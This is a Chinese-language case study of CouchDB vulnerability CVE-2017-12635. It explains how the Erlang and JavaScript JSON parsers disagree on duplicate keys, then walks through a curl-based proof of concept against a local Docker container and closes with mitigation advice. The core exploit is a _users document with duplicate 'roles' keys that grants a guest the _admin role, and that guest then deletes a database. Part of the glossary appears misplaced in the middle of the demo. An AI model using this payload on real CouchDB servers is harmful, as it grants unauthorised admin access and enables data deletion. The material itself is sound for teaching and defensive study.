CVE-2017-12635(Apache CouchDB 1.7.0 / 2.x < 2.1.1)的案例研究与PoC - 远程权限提升
Apache CouchDB 是一个面向文档的 NoSQL 数据库,用 Erlang 实现。
CouchDB 使用多种格式和协议来存储、传输和处理其数据:它使用 JSON 存储数据,使用 JavaScript(通过 MapReduce)作为查询语言,并使用 HTTP 作为 API。
CouchDB 既可以作为单节点数据库使用,也可以作为集群使用。
由于基于 Erlang 的 JSON 解析器与基于 JavaScript 的 JSON 解析器之间存在差异,CouchDB 1.7.0 之前的版本以及 2.x 中早于 2.1.1 的版本存在一个漏洞,允许非管理员用户通过提交包含重复 roles 键的 _users 文档来提升权限。这些 roles 键用于数据库内的访问控制,包括表示管理员用户的特殊 _admin 角色。
总之,该漏洞允许非管理员用户赋予自己管理员权限。
默认情况下,CouchDB 允许任何人发出任何请求。所有人都拥有做任何事情的权限。
CouchDB 具有管理员用户(例如管理员、超级用户或 root)的概念,他们被允许对 CouchDB 安装执行任何操作。默认情况下,每个人都是管理员。如果您不喜欢这样,可以创建特定的管理员用户,其凭证为用户名和密码。
CouchDB 还定义了一组仅允许管理员用户执行的请求。有关更多信息,请访问官方文档。
CouchDB 有一个特殊的身份验证数据库,将所有注册用户存储为 JSON 文档。
CouchDB 使用一个特殊的数据库(默认名为 _users)来存储已注册用户的信息。这是一个系统数据库——这意味着虽然它共享通用的数据库 API,但对其文档结构应用了一些特殊的安全相关约束和约定。
只有管理员可以 GET、PUT 或 DELETE _users 数据库中的任何文档。
用户只能访问(GET /_users/org.couchdb.user:<username>)或修改(PUT /_users/org.couchdb.user:<username>)他们拥有的文档。
每个 CouchDB 用户都以文档格式存储。这些文档包含几个必填字段,CouchDB 通过这些字段处理正确的身份验证过程。我们感兴趣的是 roles 字段。
roles 字段是用户角色列表。CouchDB 不提供任何内置角色,因此您可以根据需要自由定义自己的角色。但是,您不能在其中设置系统角色,例如 _admin。此外,只有管理员才能为用户分配角色——默认情况下,所有用户都没有任何角色。
CouchDB 是用 Erlang 编写的,但允许用户用 JavaScript 指定文档验证脚本。这些脚本在创建或更新文档时自动评估。它们会在新进程中启动,并从 Erlang 端接收经过 JSON 序列化的文档。
CouchDB 将函数和文档发送给 JavaScript 解释器。这种机制使用户能够用 JavaScript 编写文档验证函数。对于每个创建或更新的文档,都会执行 validate_doc_update 函数。如果验证函数抛出异常,则更新被拒绝;否则,更新被接受。
CouchDB 使用 validate_doc_update 函数来防止无效或未经授权的文档更新继续进行。
function(newDoc, oldDoc, userCtx, secObj) {...}
参数:
newDoc – 将要存储的文档的新版本oldDoc – 已经存储的文档的旧版本userCtx – 用户上下文对象srcObj – 安全对象该函数接收来自更新请求的新文档、数据库中存储的当前文档、包含编写文档的用户信息(如果存在)的 User Context Object,以及包含数据库安全角色列表的 Security Object。
CouchDB 内部使用的 JSON 解析器是 jiffy,而验证脚本中 JavaScript 使用的解析器是 JSON。
问题在于,当处理重复键时,JSON 和 jiffy 之间存在差异。
对于给定的键,Erlang 解析器会存储两个值,而 JavaScript 解析器只存储最后一个值。
例如,使用两个解析器解析 {"name":"John", "name":"Jane"} 将产生:
jiffy:{[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON:{name: "Jane"}CouchDB 内部数据表示的 getter 函数只会返回第一个值。
我们可以绕过所有相关的输入验证,通过创建一个带有重复 roles 键的用户来创建一个管理员用户。
新用户的文档如下:{..., "roles": ["_admin"], "roles": [], ...}。
CouchDB 内部数据表示的 getter 函数只会返回第一个值。因此,在 Erlang 环境中,我们会看到自己拥有 _admin 角色,而在 JavaScript 环境中,我们似乎没有特殊权限。
对攻击者有利的是,除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在 CouchDB 的 Erlang 部分。
在此演示中,我们将使用官方仓库 couchdb 中的 Docker 镜像。我们需要一个 HTTP 客户端来执行 API 调用,我们将使用 cURL。
任何操作系统都可以用于此演示。
先决条件:
以下是为了利用该漏洞而需要运行的命令:
基于 couchdb 官方镜像创建一个容器
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
我们选择了 1.6.1 标签,因为 CouchDB 的 1.6.1 版本存在漏洞。
确保 CouchDB 实例已启动并正在运行
curl -X GET http://localhost:5984
查询:实例中的所有数据库
curl -X GET http://localhost:5984/_all_dbs
查询:创建一个名为 records 的新数据库
curl -X PUT http://localhost:5984/records
查询:确保数据库 records 已创建
curl -X GET http://localhost:5984/_all_dbs
由于默认的 CouchDB 安装对所有连接的用户提供 admin 级别的访问权限,因此我们可以从 CouchDB 实例中获取、添加甚至删除所有记录。这种配置称为管理派对(Admin Party)。只需创建第一个管理员账户,我们就可以破坏这个派对。
查询:创建一个凭据为 admin:admin 的管理员账户
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
查询:创建一个名为 new_records 的新数据库
该演示证明了任何用户都可以创建一个具有管理员角色的账户,并像管理员一样对数据库进行操作。
我们可以区分两种类型的 CouchDB 实例:
默认情况下,CouchDB 实例允许匿名用户请求。为了确保所有允许的请求仅来自经过身份验证的用户,我们可以在数据库配置文件中将 require_valid_user 设置为 true。这样,匿名用户的请求将不被允许,每个人都必须经过身份验证。
以下是一些为了防止恶意用户利用该漏洞而采取的措施。这适用于所有未升级到 2.1.1 或更高版本,或 1.7.1 或更高版本的 CouchDB 1.x 和 2.x 用户。
公共 CouchDB 实例:
require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:则没有问题。内部 CouchDB 实例:
require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:则没有问题。require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:请启用 require_valid_user。API:应用程序编程接口(API)是计算机程序不同部分之间的接口或通信协议,旨在简化软件的实现和维护。
Erlang:Erlang 是一种通用的、并发的、函数式编程语言,也是一个垃圾回收运行时系统。
HTTP:超文本传输协议(HTTP)是一种用于分布式、协作、超媒体信息系统的应用协议。HTTP 是万维网数据传输的基础,其中超文本文档包含用户易于访问的其他资源的超链接。
JSON:JavaScript 对象表示法(JSON)是一种开放标准文件格式或数据交换格式,它使用人类可读的文本来传输由属性-值对和数组数据类型(或任何其他可序列化值)组成的数据对象。它是一种非常常见的数据格式,应用范围广泛,例如在 AJAX 系统中作为 XML 的替代品。
MapReduce:MapReduce 是一种编程模型及其相关实现,用于在集群上使用并行、分布式算法处理并生成大数据集。
NoSQL:NoSQL 数据库提供了一种存储和检索数据的机制,其建模方式不同于关系数据库中使用的表格关系。
PoC:概念验证(PoC)是为了证明某种方法或想法的可行性而进行的实现,或者是为了验证某个概念或理论具有实际潜力而进行的原理演示。
权限提升:权限提升是利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,以获得通常对应用程序或用户受保护的资源的更高访问权限的行为。
curl -X PUT http://localhost:5984/new_records
哎呀!我们无法再创建新数据库,因为当第一个管理员账户创建后,管理派对就被破坏了。
查询:使用管理员身份验证创建一个名为 new_records 的新数据库
curl -X PUT http://admin:admin@localhost:5984/new_records
查询:在 _users 数据库中创建一个新文档
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
这里我们可以创建 _users 数据库中的新文档,但其参数受到限制。
通过如前所述复制 roles 字段,我们可以绕过这些限制。
查询:删除名为 new_records 的数据库
curl -X DELETE http://localhost:5984/new_records
哎呀!我们无法删除,因为我们没有管理员角色。
查询:使用访客身份验证删除名为 new_records 的数据库
curl -X DELETE http://guest:guest@localhost:5984/new_records
宾果!即使用户被创建为普通用户,我们也删除了数据库。